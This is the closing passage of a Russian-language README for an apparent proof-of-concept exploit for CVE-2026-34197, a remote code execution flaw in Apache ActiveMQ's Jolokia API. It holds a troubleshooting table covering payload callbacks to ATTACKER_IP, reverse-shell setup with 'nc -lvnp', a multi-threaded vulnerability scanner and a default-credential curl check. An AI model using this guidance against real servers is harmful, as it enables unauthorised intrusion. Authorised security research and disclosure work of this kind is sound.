| `No payload request received within 15s` | Цель не может получить доступ к вашему ATTACKER_IP | Проверьте связь (см. [руководство по ATTACKER_IP](#understanding-attacker_ip---lhost)) |
| `Authentication failed (401)` | Неверные учётные данные | Попробуйте `--no-auth` (ActiveMQ 6.0.0-6.1.1) или найдите правильные учётные данные |
| `Access forbidden (403)` | API Jolokia ограничен | На цели могут быть ACL на `/api/jolokia/` — удалённая эксплуатация невозможна |
| `Connection error` / `Could not connect` | Цель недоступна или неверный порт | Проверьте доступность `http://TARGET:8161/` |
| `Jolokia status=500: could not be registered in JMX` | Ранее зарегистрированный коннектор эксплойта всё ещё активен | Эксплойт автоматически повторяет попытку с новым случайным именем; попробуйте снова |
| Обратная оболочка не подключается | Разный IP в `-l` и в команде оболочки, или порт не прослушивается | Убедитесь, что IP везде одинаковый; запустите `nc -lvnp PORT` до эксплуатации |
| `No output received within 10s` | На цели отсутствуют `curl` и `wget`, или команда не выдаёт stdout | RCE всё равно сработал — используйте обратную оболочку для полного взаимодействия |
| Перехват вывода показывает пустой результат | Команда не выдала вывод (например, `touch /tmp/test`) | Ожидаемо для команд без stdout; используйте `ls /tmp/test` для проверки |
| `OSError: Address already in use` на порту 8888 | Порт занят другим процессом или предыдущим запуском | Используйте `-lp 9999` (или любой свободный порт) или завершите блокирующий процесс |
| `version_check.py` Фаза 1 выполняется медленно | Слишком мало потоков или высокая сетевая задержка | Увеличьте `--threads 20` или `--threads 30` |
| `version_check.py` показывает `[VULNERABLE]`, но Фаза 2 не работает | Цель не может получить доступ к вашему IP, или брандмауэр блокирует исходящий HTTP | Проверьте ATTACKER_IP; попробуйте `--wait 30` для медленных сетей |
| `version_check.py` показывает `No Jolokia` для всех целей | API Jolokia отключён или находится по нестандартному пути | Проверьте вручную с помощью `curl -u admin:admin http://TARGET:8161/api/jolokia/` |
---
## Ссылки
| Ресурс | Ссылка |
|----------|------|
| NVD | [CVE-2026-34197](https://nvd.nist.gov/vuln/detail/CVE-2026-34197) |
| Horizon3 Research | [Технический анализ](https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/) |
| Консультация Apache | [Консультация по безопасности](https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt) |
| Связанный CVE | [CVE-2024-32114 — Jolokia без аутентификации](https://nvd.nist.gov/vuln/detail/CVE-2024-32114) |
| Связанный CVE | [CVE-2023-46604 — OpenWire RCE](https://nvd.nist.gov/vuln/detail/CVE-2023-46604) |
---
## Отказ от ответственности
> [!WARNING]
> Эта proof-of-concept предоставляется **строго для образовательных целей и авторизованных исследований в области безопасности**. Несанкционированное использование этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, **является незаконным**. Автор не несёт ответственности за неправомерное использование.
---
<p align="center">
<a href="https://github.com/KONDORDEVSECURITYCORP">
<img src="https://img.shields.io/badge/GitHub-KONDORDEVSECURITYCORP-181717?style=for-the-badge&logo=github" alt="GitHub"/>
</a>
<a href="https://t.me/KONDORDEVSECURITY">
<img src="https://img.shields.io/badge/Telegram-KONDORDEVSECURITY-26A5E4?style=for-the-badge&logo=telegram&logoColor=white" alt="Telegram"/>
</a>
</p>
<p align="center">
<sub>Разработано с экспертизой компанией <b>KONDOR DEV SECURITY CORP</b></sub><br>
<sub>Лицензия MIT © 2026</sub>
</p>